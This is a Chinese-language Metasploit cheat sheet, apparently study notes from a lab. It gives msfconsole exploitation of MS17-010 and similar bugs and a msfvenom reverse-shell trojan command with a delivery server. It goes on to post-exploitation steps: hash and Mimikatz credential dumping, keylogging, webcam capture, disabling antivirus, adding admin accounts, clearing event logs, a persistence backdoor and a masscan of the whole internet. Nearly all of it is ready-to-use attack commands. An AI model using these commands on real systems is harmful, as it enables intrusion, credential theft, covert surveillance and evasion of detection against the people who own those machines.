①msfconsole(控制台)
术语 | 解释 |
---|---|
poc | 漏洞验证脚本,用于验证漏洞的存在 |
exp | 漏洞利用脚本,提供详细的漏洞利用方法 |
metasploit工作模式 | 采用纯内存方式,隐蔽性高,难以被杀毒软件检测 |
exploit | 利用漏洞进行攻击,通常与payload配合使用 |
payload | 攻击过程中执行的指令或代码,可为反弹shell或直接执行指令 |
singles | 所有代码在一个文件中,受内存空间限制 |
stagers | 建立传输payload的连接,安全传输payload到目标系统 |
stages | 在stagers建立连接后传输的代码 |
auxiliary | 辅助模块,用于信息收集,无payload的exp |
encoders | 编码模块,对payload进行加密,躲避杀毒软件的检测 |
post | 获取shell后进行的进一步攻击指令(后渗透) |
nops | 空指令 |
evasion | 免杀技术,具有较好的免杀效果,但有时限性 |
msfdb(数据库)
在进工具前:
service postgresql start 开启数据库
msfdb init 进行初始化进工具后:
db_status 查询是否连接数据库
在进入msfconsole之后,可输入hosts和services来查看相关信息,可使用db_nmap来调用nmap工具将扫描到的信息,录入数据库
监听模块
进入msfconsole控制台后
使用通用模块
命令 | 作用 |
---|---|
use exploit/multi/handler | 设置使用通用模块 exploit/multi/handler 进行处理。 |
info | 查看当前所选模块的信息。 |
show options | 显示当前模块的可配置选项和设置信息。 |
sessions | 列出当前已建立的会话列表。-K则清楚所有sessions |
set payload | 设置要使用的 payload,例如:set PAYLOAD windows/meterpreter/reverse_tcp |
set lhosts | 设置监听主机的 IP 地址,即攻击者主机的 IP 地址,例如:set LHOST 192.168.11.101 |
set lport | 设置监听端口号,例如:set LPORT 4444 |
注:meterpreter和shell返回但不断开连接,保持sessions时,按Ctrl+z键或者输入bg
另外如果获得了shell,需要进一步的后渗透,则需要使用指令
sessions -u 1
数字 “1” 是所要升级权限sessions的ID,从而使得shell变成meterpreter
连接方式 | 描述 | 端口 |
---|---|---|
bind | 主机等待连接,目标发起连接(正向连接) | 随机 |
reverse | 目标等待连接,主机发起连接(反向连接) | 随机 |
http | 使用HTTP协议连接 | 80 |
https | 使用HTTPS协议连接 | 443 |
注:meterpreter——升级版shell
设置payload模板:set payload 操作系统/【架构】/终端/连接方式 (架构不写默认x86)
使用例子①:
use exploit/multi/handler
结果↓
其中,kali主机IP是192.168.11.101,win7IP是192.168.11.100
这里填win7的IP是因为我们采用的是reverse_tcp反向连接
使用例子②:
使用MS17-010获得meterpreter
第一步:搜索ms17-010
第二步:查看相关配置,添加目标IP
第三步:run
run成功结果↓
用ms17-010获得的meterpreter,一般都是最高权限管理员↓
使用例子③:
windows7IE溢出
ms11-003,IE8中对css的解析存在一个问题,非法css页面导致ie8奔溃重启
使用例子④:
ms12-020——死亡蓝屏
使用例子⑤:
cve-2020-0796(445)——针对win10 1903——死亡黑屏
②msfvenom(木马生成平台)
常见参数
参数 | 作用 |
---|---|
-p | 指定payload |
-a | 指定架构 (x64 或 x86) |
--platform | 设置平台 |
-e | 指定编码 (免杀,作用有限) |
-i | 指定迭代 |
-f | 指定文件格式 |
-f raw -o 1.apk (raw 是原生代码) | |
-R -o 1.apk | |
-o | 指定输出文件 |
-l | 显示详细信息 |
注:msfvenom中的payload要和msfconsole设置的payload大致相同,例如操作系统要一致,不能一个Windows一个linux
使用样例:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.11.101 lport=4444 -f exe > test.exe
参数 | 作用 |
---|---|
-p windows/x64/meterpreter/reverse_tcp | 指定生成的 payload 类型为反向 TCP Meterpreter shell,且针对的是 Windows 操作系统的 x64 架构。 |
lhost=192.168.11.101 | 设置反向连接的监听主机 IP 地址为 192.168.11.101,即攻击者主机的IP地址。 |
lport=4444 | 设置监听的端口号为 4444,即监听主机上 Metasploit 所在的端口。 |
-f exe | 指定输出文件的格式为可执行文件 (exe)。 |
> test.exe | 将生成的 payload 输出到名为 "test.exe" 的文件中,即将生成的恶意软件载荷保存到 test.exe 可执行文件中。 |
快速开启http服务
制作木马后,在当前文件夹快速开启http服务,以便于传输木马:
python2.7 -m SimpleHTTPServer 8080
python3.9 -m http.server 8080
后渗透信息收集类
常用指令
序号 | 命令 | 描述 |
---|---|---|
1 | sysinfo | 显示有关目标主机的基本系统信息。 |
2 | getuid | 获取当前会话的用户标识符(UID)。 |
3 | getsid | 获取当前会话的安全标识符(SID)。 |
4 | getsystem | 尝试升级当前会话的权限为管理员(SYSTEM)。 |
5 | run post/windows/gather/checkvm | 检测目标主机是否为虚拟机环境。 |
6 | run post/windows/manage/killav | 尝试关闭杀毒软件进程。 |
7 | run post/windows/gather/enum_logged_users | 枚举当前已登录的用户。 |
8 | run post/windows/manage/enable_rdp | 开启目标主机的远程桌面协议(RDP)服务。 |
9 | run post/windows/gather/smart_hashdump | 获取密码哈希,无需进行会话迁移。 |
10 | run exploit/windows/local/ask | 触发 UAC 认证,同意后以管理员权限运行。 |
11 | run post/windows/gather/forensics/enum_drives | 获取目标分区情况。 |
12 | run post/windows/gather/enum_applications | 获取当前安装的应用程序。 |
13 | run post/windows/gather/enum_logged_on_users | 获取用户登录信息。 |
14 | run post/multi/recon/local_exploit_suggester | 对目标进行漏洞扫描。 |
15 | run post/multi/gather/env | 收集系统环境信息。 |
16 | run post/windows/gather/enum_services | 查看开启的服务。 |
17 | run post/windows/gather/dumplinks | 查看目标主机最近的操作。 |
18 | run post/windows/manage/delete_user username=admin | 删除用户。 |
19 | run post/windows/manage/enable_rdp username=admin password=admin | 添加账户。 |
run post/windows/gather/enum_patches ——检查系统补丁
成功获取管理员权限例子:
命令/模块 | 描述 |
---|---|
sysinfo | 查看目标主机系统信息 |
run scraper | 查看目标主机详细信息,在目录 /root/.msf4/logs/scripts/scraper |
run hashdump | 导出密码的哈希 |
load kiwi | 加载 Mimikatz |
ps | 查看目标主机进程信息 |
pwd | 查看目标当前目录 (Windows) |
getlwd | 查看目标当前目录 (Linux) |
getpid | 查看当前 Meterpreter Shell 的进程 PID |
getuid | 查看当前用户 |
getsystem | 获取系统权限 |
migrate 123 | 迁移进程 |
idletime | 查看主机运行时间 |
run killav | 关闭杀毒软件 |
screenshot | 进行屏幕截图(较清晰) |
screengrab | 进行屏幕截图(较模糊) |
webcam_list | 查看目标主机的摄像头 |
webcam_snap | 拍照 |
webcam_stream | 开启摄像头视频流 |
execute -f xx | 执行可执行程序,具体参数可搜索 |
run getgui -u x -p x | 创建用户 |
keyscan_start | 开启键盘记录 |
keyscan_dump | 显示捕捉到的键盘记录 |
keyscan_stop | 停止键盘记录 |
download c:\test.txt /root | 将目标机的 c:\test.txt 文件下载到 /root 目录下 |
upload /root/test.txt c:\test | 将 /root/test.txt 上传到目标机的 c:\test 目录 |
clearev | 清除 Windows 中的应用程序日志、系统日志、安全日志 |
run post/windows/gather/forensics/enum_drives | 获取目标分区情况 |
run post/windows/gather/checkvm | 检测是否是虚拟机 |
run post/windows/gather/enum_applications | 获取当前安装的应用程序 |
run post/windows/gather/enum_logged_on_users | 获取用户登录信息 |
run post/multi/recon/local_exploit_suggester | 获取存在的提权漏洞 |
run post/multi/gather/env | 获取环境变量 |
run post/windows/gather/enum_services | 查看开启的服务 |
run post/windows/manage/migrate | 自动进程迁移 |
run post/windows/manage/killav | 关闭杀毒软件 |
run post/windows/gather/arp_scanner | ARP 嗅探存活主机 |
run post/windows/gather/smart_hashdump | 导出哈希 |
run post/windows/manage/delete_user USERNAME=xx | 删除账号 |
run post/windows/manage/enable_rdp USERNAME=x PASSWORD=x | 添加账号 |
run post/windows/gather/credentials/credential_collector | 导出哈希和令牌 |
开小窗口文明观看
run vnc
进程迁移
拿到shell或者meterpreter后,为了确保相关木马或者进程不被关闭,使用进程迁移
思路:将进程迁移至资源管理器进程(explorer.exe)或者
桌面窗口管理器(dwn.exe)
样例
找到资源管理器进程
进程迁移操作
自动迁移进程
获得meterpreter之后,运行该命令 ↓
run post/windows/manage/migrate
开启3389远控
第一种:
获得meterpreter之后,运行该命令开启目标主机的3389端口 ↓
run post/windows/manage/enable_rdp
或
run getgui -e
然后再用xfreerdp或者rdesktop工具进行远程连接目标主机↓
xfreerdp /u:hack /p:hack /v:192.168.11.100
或
rdesktop 192.168.11.100
连接结果
以上知道账号密码的前提下的操作
如果不知道账号密码,那就换一种思路:创建一个账户,并添加到管理员组里
shell
chcp 65001
net user admin admin /add
net localgroup administrators admin /add
或者直接在meterpreter下运行↓
run post/windows/manage/enable_rdp username=admin password=admin
这个运行完后,默认为管理员
命令 | 描述 |
---|---|
shell | 从meterpreter界面切换至shell界面。 |
chcp 65001 | 更改当前控制台的代码页为 UTF-8,以支持 Unicode 字符。 |
net user admin admin /add | 添加一个名为 "admin" 的用户。 |
net localgroup administrators admin /add | 将用户 "admin" 添加到本地管理员组。 |
这一通指令走下来,就有个知道账户密码的账号了,继续上面远程登录的流程走就行。
利用kiwi工具查看账户密码
需管理员权限运行!
前提:kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制
可使用指令“ps”查看当前有哪些64位的进程,进程迁移至64位进程的程序后,使用kiwi
迁移进程后加载kiwi模块↓
load kiwi
①列举系统中的明文密码↓
creds_all
②利用kiwi工具调用sekurlsa↓
kiwi_cmd sekurlsa::logonpasswords
键鼠控制、监听
命令 | 命令开关 | 详细参数 | 说明 |
---|---|---|---|
uictl | disable | all | 禁用所有UI控件 |
keyboard | 禁用键盘UI控件 | ||
mouse | 禁用鼠标UI控件 | ||
enable | all | 启用所有UI控件 | |
keyboard | 启用键盘UI控件 | ||
mouse | 启用鼠标UI控件 |
例如:uictl disable all——禁用所有UI控件
命令 | 命令参数 | 说明 |
---|---|---|
keyscan_ | start | 开启监听(后台) |
stop | 暂停监听 | |
dump | 输出监听的内容 |
例如:keyscan_start——开启监听
参数 | 说明 |
---|---|
-z | 监听到了不进入shell |
-j | 进行后台监听 |
后门(持久化连接)
persistence(直接使用相关exp指令:use exploit/windows/local/persistence)
参数 | 说明 |
---|---|
-X | 系统引导的时候就加载后门 |
-i | 发送shell的间隔 |
-p | 端口 |
-r | shell |
-P | 设置payload(windows/meterpreter/reverse_tcp) |
在meterpreter下运行: run persistence -X -i 5 -p 1226 -r 192.168.11.101
UAC提权
use exploit/windows/local/ask
exe:黄
psh:蓝
快捷监听
handler -H 10.0.0.4 -P 4444 -p windows/meterpreter/reverse_tcp
hashdump:管理员权限下,可输出密码的md5值
AlwaysinstallElevated键提权小技巧
msf:always_install_elevated
还有个exploit/windows/local/unquoted_service_path
Masscan扫描工具
号五分钟扫遍互联网,hping3
性能优越,极限速度 1000w/s,参数 → nmap
syn
-p 80,8000-8100 10.0.0.0/24
--max-rate=100000masscan 0.0.0.0/0 -p 0-65535
不能乱扫